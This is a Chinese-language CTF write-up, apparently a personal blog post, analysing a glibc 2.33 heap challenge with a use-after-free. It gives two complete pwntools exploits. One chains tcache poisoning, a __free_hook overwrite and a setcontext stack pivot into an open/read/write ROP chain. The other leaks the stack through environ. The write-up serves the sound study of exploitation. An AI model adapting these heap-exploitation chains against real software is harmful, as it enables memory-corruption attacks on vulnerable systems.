前言：emmmm 最近有点道心破碎，京麒 2026CTF 遇到了一个 V8 的题目，之前没学过，就想着学习一下，结果发现自己配置环境配了两天还没有配好，又本来说是想要复现一个 webpwn 的，发现到最后需要时间盲注，自己不会写脚本，让 ai 帮忙写了一份，但总归不是自己写的，心里还是有点空虚，如果没有 ai 那不就还是相当于 0 吗。总而言之就是忙了很久没忙出来什么成果，于是还是复习几道题目巩固一下基础。

本题的难点我觉得在于打 Tcachebin 结构体和 setcontext 的那一块儿，主要是很多地址和堆块，很容易搞混。

不过其实这种题目逻辑性非常强，一个地址都不能写错。不过相比之下我还是更不喜欢那种 go，c++,webpwn 那种审计代码都要看半天的题目，最近 webpwn 给我学的有点懵，很多伪代码都看不懂。

这道题利用 environ 泄露地址应该也是可以的，改天试一试

尝试 patch 了一下，发现 ldd 的路径一直指向本地，readelf 指向的是 ld.so，按理来说没啥问题，但是怪怪的

程序分析：

main

首先看 main 函数，很多函数要自己重命名，先简单重命名一下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void __fastcall __noreturn main(const char *p_Invalid_choice, char **a2, char **a3)
{
    int n4; // [rsp+Ch] [rbp-4h]

    Seccomp();
    while ( 1 )
    {
        while ( 1 )
        {
            menu();
            n4 = atoi(p_Invalid_choice, a2);
            if ( n4 != 4 )
                break;
            edit();
        }
        if ( n4 > 4 )
        {
            LABEL_13:
            p_Invalid_choice = "Invalid choice";
            puts("Invalid choice");
        }
        else if ( n4 == 3 )
        {
            show();
        }
        else
        {
            if ( n4 > 3 )
                goto LABEL_13;
            if ( n4 == 1 )
            {
                add();
            }
            else
            {
                if ( n4 != 2 )
                    goto LABEL_13;
                del();
            }
        }
    }
}

Seccomp 函数这里开启了沙箱：

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int add()
{
  int idx; // [rsp+4h] [rbp-Ch]
  void *v2; // [rsp+8h] [rbp-8h]

  v2 = malloc(0x100u);
  for ( idx = 0; idx <= 19; ++idx )
  {
    if ( !qword_4060[idx] )
    {
      qword_4060[idx] = v2;
      puts("Done");
      return 1;
    }
  }
  return puts("Empty!");
}

这里也就间接性规定了新创建的 chunk 大小必定是 0x110，内容大小是 0x100

del：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int del()
{
    int idx; // [rsp+Ch] [rbp-4h]

    puts("Idx: ");
    idx = atoi();
    if ( idx <= 20 && qword_4060[idx] )
    {
        free((void *)qword_4060[idx]);
        return puts("Done");
    }
    else
    {
        puts("Not allow");
        return idx;
    }
}

很明显的 UAF 了

edit：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int edit()
{
    int idx; // [rsp+8h] [rbp-8h]
    unsigned int size; // [rsp+Ch] [rbp-4h]

    puts("Idx: ");
    idx = atoi();
    if ( idx <= 20 && qword_4060[idx] )
    {
        puts("Size: ");
        size = atoi();
        if ( size > 0x100 )
        {
            return puts("Error");
        }
        else
        {
            puts("Content: ");
            read_0(qword_4060[idx], size);
            puts("Done");
            return 0;
        }
    }
    else
    {
        puts("Not allow");
        return idx;
    }
}

show：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int show()
{
    int idx; // [rsp+Ch] [rbp-4h]

    puts("Idx: ");
    idx = atoi();
    if ( idx <= 20 && qword_4060[idx] )
    {
        puts((const char *)qword_4060[idx]);
        return puts("Done");
    }
    else
    {
        puts("Not allow");
        return idx;
    }
}

这里会打印出来对应 chunk 的内容，可以用来泄露 fd、bk 指针

EXP 思路：

Setcontext 打法，复杂一点

泄露 libc_base

我们知道相同大小的 Tcachebin 在一个链条上最多挂七个，多余的就会根据大小分配搭配 fastbin 或 UnSortedbin 当中，那么我们就可以利用这

1
2
3
4
5
6
7
8
9
for i in range(9): 
    add()                  #  0-8

for i in range(6, -1, -1): #  从 6 开始每次减 1 到 0 为止。实际遍历顺序是：6, 5, 4, 3, 2, 1, 0
    dele(i)

dele(7)
gdb.attach(p)
pause()

可以看到此时 0x110 的 Tcachebin 已经挂满了，因此放到了 UnSortedbin 中，之后可以尝试泄露 main_arena

1
2
3
4
5
6
7
show(7)

leak_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
log.success(f'leak_addr ==> {leak_addr}')

gdb.attach(io)
pause()

这里实际上是一直处于卡住的状态，不清楚具体原因，返回调试一下：

发现我们的 content 实际上是由 puts 函数打印出来的，具有遇到 \x00 截断的特性，我们通过上面可以知道 fd 和 bk 指向的 main_arena 附近的地址正好是 00 结尾，泄露的话是小端序在前，就会提前触发截断从而无法打印出我们需要的 main_arena 附近的地址，也就无法进行接收从而卡住，重新编写脚本：

1
2
3
4
5
6
edit(7, 1, b"\x66")
show(7)

leak_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
log.success(f'leak_addr ==> {hex(leak_addr)}')

修改最后的一个字节为 \x66，就是为了防止 \x00 截断，这个值实际上是随便取的

找到固定偏移就可以定位 libc_base 了：

1
2
ibc_base = leak_addr - 0x1e0c66
log.success(f'libc_base is ==> {hex(libc_base)}')

泄露 heap_base：

利用接收 fd 指针左移 12 位获得 heap_base

1
2
3
4
5
6
7
edit(7, 1, b"\x00")
show(6)

heap_base = u64(io.recvuntil(b"\x05")[-5:].ljust(8, b"\x00")) << 12
log.success(f'heap_base is ==> {hex(heap_base)}')
gdb.attach(io)
pause()

Tcache Poisoning：

利用Tcache Poisoning篡改 tcache_perthread_struct，当 Tcachebin 结构体当中还有可用块的时候，再利用 tcache_perthread_struct，再次申请出指向 free_hook 的堆块，篡改 free_hook。

1
2
3
4
edit_addr = heap_base + 0x2a0
edit(0, 8, p64((edit_addr >> 12) ^ (heap_base + 0x10)))
add()
add()

利用 edit 修改 fd 指针，篡改原堆地址为 chunk0 的 data 区，fd 指针为 heap_base + 0x10，也就是tcache_perthread_struct，当我们连续两次 add 的时候就会将最后一次 add 的对地址申请到 heap_base。

1
2
3
edit(10, 256, p64(0) * 3 + p64(0x0005000000000000) + p64(0) * 0x1b + p64(free_hook))
add()
edit(11, 0x100, p64(rdx_con))
  • 用 idx=10 直接改 tcache 管理结构edit(10, 256, p64(0) * 3 + p64(0x0005000000000000) + p64(0) * 0x1b + p64(free_hook))这一句是在改： counts[15] = 5；entries[15] = free_hook
  • 当我们再次 add 的时候，就会申请出指向 free_hook 的堆块
  • rdx_con 是什么，以及为什么要利用 free_hook，我们下面接着分析：

SetContext

这道题目的glibc版本为glibc 2.33, 来看一下这道题目的setcontext:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
Dump of assembler code for function setcontext:
   0x00007ffff7e27970 <+0>:     endbr64
   0x00007ffff7e27974 <+4>:     push   rdi
   0x00007ffff7e27975 <+5>:     lea    rsi,[rdi+0x128]
   0x00007ffff7e2797c <+12>:    xor    edx,edx
   0x00007ffff7e2797e <+14>:    mov    edi,0x2
   0x00007ffff7e27983 <+19>:    mov    r10d,0x8
   0x00007ffff7e27989 <+25>:    mov    eax,0xe
   0x00007ffff7e2798e <+30>:    syscall
   0x00007ffff7e27990 <+32>:    pop    rdx
   0x00007ffff7e27991 <+33>:    cmp    rax,0xfffffffffffff001
   0x00007ffff7e27997 <+39>:    jae    0x7ffff7e27abf <setcontext+335>
   0x00007ffff7e2799d <+45>:    mov    rcx,QWORD PTR [rdx+0xe0]
   0x00007ffff7e279a4 <+52>:    fldenv [rcx]
   0x00007ffff7e279a6 <+54>:    ldmxcsr DWORD PTR [rdx+0x1c0]
   0x00007ffff7e279ad <+61>:    mov    rsp,QWORD PTR [rdx+0xa0]
   0x00007ffff7e279b4 <+68>:    mov    rbx,QWORD PTR [rdx+0x80]
   0x00007ffff7e279bb <+75>:    mov    rbp,QWORD PTR [rdx+0x78]
   0x00007ffff7e279bf <+79>:    mov    r12,QWORD PTR [rdx+0x48]
   0x00007ffff7e279c3 <+83>:    mov    r13,QWORD PTR [rdx+0x50]
   0x00007ffff7e279c7 <+87>:    mov    r14,QWORD PTR [rdx+0x58]
   0x00007ffff7e279cb <+91>:    mov    r15,QWORD PTR [rdx+0x60]
   0x00007ffff7e279cf <+95>:    test   DWORD PTR fs:0x48,0x2
   0x00007ffff7e279db <+107>:   je     0x7ffff7e27a96 <setcontext+294>
   0x00007ffff7e279e1 <+113>:   mov    rsi,QWORD PTR [rdx+0x3a8]
   0x00007ffff7e279e8 <+120>:   mov    rdi,rsi
   0x00007ffff7e279eb <+123>:   mov    rcx,QWORD PTR [rdx+0x3b0]
   0x00007ffff7e279f2 <+130>:   cmp    rcx,QWORD PTR fs:0x78
   0x00007ffff7e279fb <+139>:   je     0x7ffff7e27a35 <setcontext+197>
   0x00007ffff7e279fd <+141>:   mov    rax,QWORD PTR [rsi-0x8]
   0x00007ffff7e27a01 <+145>:   and    rax,0xfffffffffffffff8
   0x00007ffff7e27a05 <+149>:   cmp    rax,rsi
   0x00007ffff7e27a08 <+152>:   je     0x7ffff7e27a10 <setcontext+160>
   0x00007ffff7e27a0a <+154>:   sub    rsi,0x8
   0x00007ffff7e27a0e <+158>:   jmp    0x7ffff7e279fd <setcontext+141>
   0x00007ffff7e27a10 <+160>:   mov    rax,0x1
   0x00007ffff7e27a17 <+167>:   incsspq rax
   0x00007ffff7e27a1c <+172>:   rstorssp QWORD PTR [rsi-0x8]
   0x00007ffff7e27a21 <+177>:   saveprevssp
   0x00007ffff7e27a25 <+181>:   mov    rax,QWORD PTR [rdx+0x3b0]
   0x00007ffff7e27a2c <+188>:   mov    QWORD PTR fs:0x78,rax
   0x00007ffff7e27a35 <+197>:   rdsspq rcx
   0x00007ffff7e27a3a <+202>:   sub    rcx,rdi
   0x00007ffff7e27a3d <+205>:   je     0x7ffff7e27a5c <setcontext+236>
   0x00007ffff7e27a3f <+207>:   neg    rcx
   0x00007ffff7e27a42 <+210>:   shr    rcx,0x3
   0x00007ffff7e27a46 <+214>:   mov    esi,0xff
   0x00007ffff7e27a4b <+219>:   cmp    rcx,rsi
   0x00007ffff7e27a4e <+222>:   cmovb  rsi,rcx
   0x00007ffff7e27a52 <+226>:   incsspq rsi
   0x00007ffff7e27a57 <+231>:   sub    rcx,rsi
   0x00007ffff7e27a5a <+234>:   ja     0x7ffff7e27a4b <setcontext+219>
   0x00007ffff7e27a5c <+236>:   mov    rsi,QWORD PTR [rdx+0x70]
   0x00007ffff7e27a60 <+240>:   mov    rdi,QWORD PTR [rdx+0x68]
   0x00007ffff7e27a64 <+244>:   mov    rcx,QWORD PTR [rdx+0x98]
   0x00007ffff7e27a6b <+251>:   mov    r8,QWORD PTR [rdx+0x28]
   0x00007ffff7e27a6f <+255>:   mov    r9,QWORD PTR [rdx+0x30]
   0x00007ffff7e27a73 <+259>:   mov    r10,QWORD PTR [rdx+0xa8]
   0x00007ffff7e27a7a <+266>:   mov    rdx,QWORD PTR [rdx+0x88]
   0x00007ffff7e27a81 <+273>:   rdsspq rax
   0x00007ffff7e27a86 <+278>:   cmp    r10,QWORD PTR [rax]
   0x00007ffff7e27a89 <+281>:   mov    eax,0x0
   0x00007ffff7e27a8e <+286>:   jne    0x7ffff7e27a93 <setcontext+291>
   0x00007ffff7e27a90 <+288>:   push   r10
   0x00007ffff7e27a92 <+290>:   ret
   0x00007ffff7e27a93 <+291>:   jmp    r10
   0x00007ffff7e27a96 <+294>:   mov    rcx,QWORD PTR [rdx+0xa8]
   0x00007ffff7e27a9d <+301>:   push   rcx
   0x00007ffff7e27a9e <+302>:   mov    rsi,QWORD PTR [rdx+0x70]
   0x00007ffff7e27aa2 <+306>:   mov    rdi,QWORD PTR [rdx+0x68]
   0x00007ffff7e27aa6 <+310>:   mov    rcx,QWORD PTR [rdx+0x98]
   0x00007ffff7e27aad <+317>:   mov    r8,QWORD PTR [rdx+0x28]
   0x00007ffff7e27ab1 <+321>:   mov    r9,QWORD PTR [rdx+0x30]
   0x00007ffff7e27ab5 <+325>:   mov    rdx,QWORD PTR [rdx+0x88]
   0x00007ffff7e27abc <+332>:   xor    eax,eax
   0x00007ffff7e27abe <+334>:   ret
   0x00007ffff7e27abf <+335>:   mov    rcx,QWORD PTR [rip+0x18d382]        # 0x7ffff7fb4e48
   0x00007ffff7e27ac6 <+342>:   neg    eax
   0x00007ffff7e27ac8 <+344>:   mov    DWORD PTR fs:[rcx],eax
   0x00007ffff7e27acb <+347>:   or     rax,0xffffffffffffffff
   0x00007ffff7e27acf <+351>:   ret
End of assembler dump.

如果我们可以返回到 setcontext+61 的位置, 且成功控制 rdx 及周边区域, 我们就可以控制各个寄存器的值, 同时我们可以发现 , setcontext+107 的跳转语句均成立, 因此程序真正的执行流如下, 其中 mov rcx,QWORD PTR [rdx+0xa8] ; push rcx是设置rcx并将其值压入栈中, 最后由 ret 将这个值作为返回地址, 实际作用就是设置 rip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0x00007ffff7e279ad <+61>:    mov    rsp,QWORD PTR [rdx+0xa0]
0x00007ffff7e279b4 <+68>:    mov    rbx,QWORD PTR [rdx+0x80]
0x00007ffff7e279bb <+75>:    mov    rbp,QWORD PTR [rdx+0x78]
0x00007ffff7e279bf <+79>:    mov    r12,QWORD PTR [rdx+0x48]
0x00007ffff7e279c3 <+83>:    mov    r13,QWORD PTR [rdx+0x50]
0x00007ffff7e279c7 <+87>:    mov    r14,QWORD PTR [rdx+0x58]
0x00007ffff7e279cb <+91>:    mov    r15,QWORD PTR [rdx+0x60]
0x00007ffff7e279cf <+95>:    test   DWORD PTR fs:0x48,0x2
0x00007ffff7e279db <+107>:   je     0x7ffff7e27a96 <setcontext+294>
(跳转到setcontext+294)
0x00007ffff7e27a96 <+294>:   mov    rcx,QWORD PTR [rdx+0xa8]
0x00007ffff7e27a9d <+301>:   push   rcx
0x00007ffff7e27a9e <+302>:   mov    rsi,QWORD PTR [rdx+0x70]
0x00007ffff7e27aa2 <+306>:   mov    rdi,QWORD PTR [rdx+0x68]
0x00007ffff7e27aa6 <+310>:   mov    rcx,QWORD PTR [rdx+0x98]
0x00007ffff7e27aad <+317>:   mov    r8,QWORD PTR [rdx+0x28]
0x00007ffff7e27ab1 <+321>:   mov    r9,QWORD PTR [rdx+0x30]
0x00007ffff7e27ab5 <+325>:   mov    rdx,QWORD PTR [rdx+0x88]
0x00007ffff7e27abc <+332>:   xor    eax,eax
0x00007ffff7e27abe <+334>:   ret

在这道题中, 由于 malloc 的大小是恒定的, 其 rdi 不能由我们控制, 因此我们考虑利用 free 函数, 因为 free 函数的 rdi 是目标堆块的 user data 地址, 只要我们布置好堆块就能够利用

而 rdx_con 的内容是 :

mov rdx, [rdi+0x8] call qword ptr [rdx+0x20],

这也就意味着在触发 free 的时候，参数 rdi 来自的是被 free 的那个指针，因此我们就可以提前在将要 free 的那个 chunk 的 data 区进行布置。当调用 free 时就会 从 [rdi+0x8] 取出一个地址到 rdx；再调用 [rdx+0x20]，通过这个 gadget 我们可以通过 rdi 控制 rdx , 并通过设置好的 rdx 调用 setcontext+61。

构造 ORW：

1
2
3
4
5
6
7
8
9
10
11
pop_rdi = libc_base + rop.find_gadget(["pop rdi", "ret"]).address
pop_rsi = libc_base + rop.find_gadget(["pop rsi", "ret"]).address
pop_rdx = libc_base +  rop.find_gadget(["pop rdx", "ret"]).address
ret = libc_base + rop.find_gadget(["ret"]).address

edit(0, 6, b"./flag\x00")
flag_addr = heap_base + 0x2a0
orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(libc_base + libc.sym["open"])
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base + 0x2a8) + p64(pop_rdx) + p64(0x100) + p64(libc_base + libc.sym["read"])
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base + 0x2a8) + p64(pop_rdx) + p64(0x100) + p64(libc_base + libc.sym["write"])
edit(2, 0x100, orw)       # chunk2_data_addr = heap + 0x4c0

触发劫持：

1
2
3
payload = b"A" * 8 + p64(heap_base + 0x3b8) + b"A" * 0x18 + p64(setcontext) + b"A" * 0x78 + p64(heap_base + 0x4c0) + p64(ret)
edit(1, 0x100, payload)
dele(1)

依旧根据我们上面所说：画一个 data 域的结构图吧：

1
2
3
4
5
6
0x0-0xf         b"A" * 0x8       |     p64(heap_base + 0x3b8)   # rdx
0x10-0x1f       b"A" * 0x10      |
0x20-0x2f       b"A" * 0x8       |     p64(setcontext)          # rdx + 0x20  
...                              |
0xa0-0xaf       b"A" * 0x8       |     p64(heap_base + 0x4c0)   # rdx + 0xa0
0xb0-0xbf       p64(ret)         |

在 delete 触发 free 的时候

  1. mov rdx, [rdi+0x8]：rdx = p64(heap_base + 0x3b8)
  2. call qword ptr [rdx+0x20]：call ptr [setcontext+61]
  3. 执行 setcontext，下面只说最重要的
  4. rsp,QWORD PTR [rdx+0xa0]：rsp = p64(heap_base + 0x4c0)
  5. ret
  6. 而heap_base + 0x4c0就是 ORW 链，执行 ORW 获取 flag

总 EXP：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from pwn import*

context.binary = elf = ELF("./pwn")
libc = ELF("./libc.so.6")
rop = ROP(libc)
io = process("./pwn")
# context.terminal=["tmux","splitw","-h"]

def cmd(i):
    io.sendlineafter(b"Choice:", str(i).encode())

def add():
    cmd(1)

def dele(idx):
    cmd(2)
    io.sendlineafter(b"Idx", str(idx).encode())

def show(idx):
    cmd(3)
    io.sendlineafter(b"Idx", str(idx).encode())

def edit(idx, size, con):
    cmd(4)
    io.sendlineafter(b"Idx", str(idx).encode())
    io.sendlineafter(b"Size", str(size).encode())
    io.sendafter(b"Content", con)

for i in range(9): 
    add()

for i in range(6, -1, -1): 
    dele(i)

dele(7)
# gdb.attach(io)
# pause()
edit(7, 1, b"\x66")
show(7)

leak_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
log.success(f'leak_addr ==> {hex(leak_addr)}')

# gdb.attach(io)
# pause()
libc_base = leak_addr - 0x1e0c66
log.success(f'libc_base is ==> {hex(libc_base)}')
# gdb.attach(io)
# pause()

free_hook = libc_base + libc.sym["__free_hook"]
setcontext = libc_base + libc.sym["setcontext"] + 61
rdx_con = libc_base + 0x14A0A0

edit(7, 1, b"\x00")
show(6)
heap_base = u64(io.recvuntil(b"\x05")[-5:].ljust(8, b"\x00")) << 12
log.success(f'heap_base is ==> {hex(heap_base)}')
# gdb.attach(io)
# pause()

edit_addr = heap_base + 0x2a0
edit(0, 8, p64((edit_addr >> 12) ^ (heap_base + 0x10)))

# gdb.attach(io)
# pause()
add()
add()
# gdb.attach(io)
# pause()

edit(10, 256, p64(0) * 3 + p64(0x0005000000000000) + p64(0) * 0x1b + p64(free_hook))
add()
# gdb.attach(io)
# pause()
edit(11, 0x100, p64(rdx_con))


# 构建 ORW Payload
pop_rdi = libc_base + rop.find_gadget(["pop rdi", "ret"]).address
pop_rsi = libc_base + rop.find_gadget(["pop rsi", "ret"]).address
pop_rdx = libc_base +  rop.find_gadget(["pop rdx", "ret"]).address
ret = libc_base + rop.find_gadget(["ret"]).address

edit(0, 6, b"./flag\x00")
flag_addr = heap_base + 0x2a0
orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(libc_base + libc.sym["open"])
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base + 0x2a8) + p64(pop_rdx) + p64(0x100) + p64(libc_base + libc.sym["read"])
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base + 0x2a8) + p64(pop_rdx) + p64(0x100) + p64(libc_base + libc.sym["write"])
edit(2, 0x100, orw)

# 触发劫持
payload = b"A" * 8 + p64(heap_base + 0x3b8) + b"A" * 0x18 + p64(setcontext) + b"A" * 0x78 + p64(heap_base + 0x4c0) + p64(ret)
edit(1, 0x100, payload)
dele(1)

data = io.recvall(timeout=2)
print(data.decode("latin-1", errors="ignore"))

Environ 打法，比上面的简单一点：

前面的不多做解释，打法一样，泄露 libc_base

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
def add():
    io.sendlineafter(b"Choice:", b"1")

def dele(idx):
    io.sendlineafter(b"Choice:", b"2")
    io.sendlineafter(b"Idx", str(idx).encode())

def show(idx):
    io.sendlineafter(b"Choice:", b"3")
    io.sendlineafter(b"Idx", str(idx).encode())

def edit(idx, size, con):
    io.sendlineafter(b"Choice:", b"4")
    io.sendlineafter(b"Idx", str(idx).encode())
    io.sendlineafter(b"Size", str(size).encode())
    io.sendafter(b"Content", con)

def show_data(idx):
    show(idx)
    io.recvuntil(b": \n")
    return io.recvuntil(b"\nDone", drop=True)

# 堆风水
for i in range(9):
    add()

for i in range(6, -1, -1):
    dele(i)

dele(7)
edit(7, 1, b"\x66")

# 泄露地址
libc_base = u64(show_data(7)[-6:].ljust(8, b"\x00")) - 0x1e0c66

总 EXP：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *

# 连接配置
context.binary = elf = ELF("./pwn")
io = process("./pwn")
libc = ELF("./libc.so.6")
rop = ROP(libc)

def add():
    io.sendlineafter(b"Choice:", b"1")

def dele(idx):
    io.sendlineafter(b"Choice:", b"2")
    io.sendlineafter(b"Idx", str(idx).encode())

def show(idx):
    io.sendlineafter(b"Choice:", b"3")
    io.sendlineafter(b"Idx", str(idx).encode())

def edit(idx, size, con):
    io.sendlineafter(b"Choice:", b"4")
    io.sendlineafter(b"Idx", str(idx).encode())
    io.sendlineafter(b"Size", str(size).encode())
    io.sendafter(b"Content", con)

def show_data(idx):
    show(idx)
    io.recvuntil(b": \n")
    return io.recvuntil(b"\nDone", drop=True)

# 堆风水
for i in range(9):
    add()

for i in range(6, -1, -1):
    dele(i)

dele(7)
edit(7, 1, b"\x66")

# 泄露地址
libc_base = u64(show_data(7)[-6:].ljust(8, b"\x00")) - 0x1e0c66
environ = libc_base + libc.sym["environ"]

edit(7, 1, b"\x00")
heap_base = u64(show_data(6)[:5].ljust(8, b"\x00")) << 12

# Tcache Poisoning -> environ
edit(0, 8, p64(((heap_base + 0x2a0) >> 12) ^ environ))
add()
add()
stack = u64(show_data(10)[-6:].ljust(8, b"\x00"))
stack_base = stack - 0x138

# 构建 ORW
pop_rdi = libc_base + rop.find_gadget(["pop rdi", "ret"]).address
pop_rsi = libc_base + rop.find_gadget(["pop rsi", "ret"]).address
pop_rdx = libc_base + rop.find_gadget(["pop rdx", "ret"]).address
ret = libc_base + rop.find_gadget(["ret"]).address

edit(2, 7, b"./flag\x00")
flag_addr = heap_base + 0x4c0
buf_addr = heap_base + 0x5d0
orw = p64(0) * 3 + p64(ret)
orw += p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(libc_base + libc.sym["open"])
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(buf_addr) + p64(pop_rdx) + p64(0x40) + p64(libc_base + libc.sym["read"])
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(buf_addr) + p64(pop_rdx) + p64(0x40) + p64(libc_base + libc.sym["write"])

# Tcache Poisoning -> stack
dele(8)
dele(9)
edit(9, 8, p64(((heap_base + 0xb70) >> 12) ^ stack_base))
add()
add()
edit(12, len(orw), orw)

data = io.recvall(timeout=2)
print(data.decode("latin-1", errors="ignore"))

参考资料：https://sysnow.xyz/blog/environ_or_setcontext/

说些什么吧！

utterances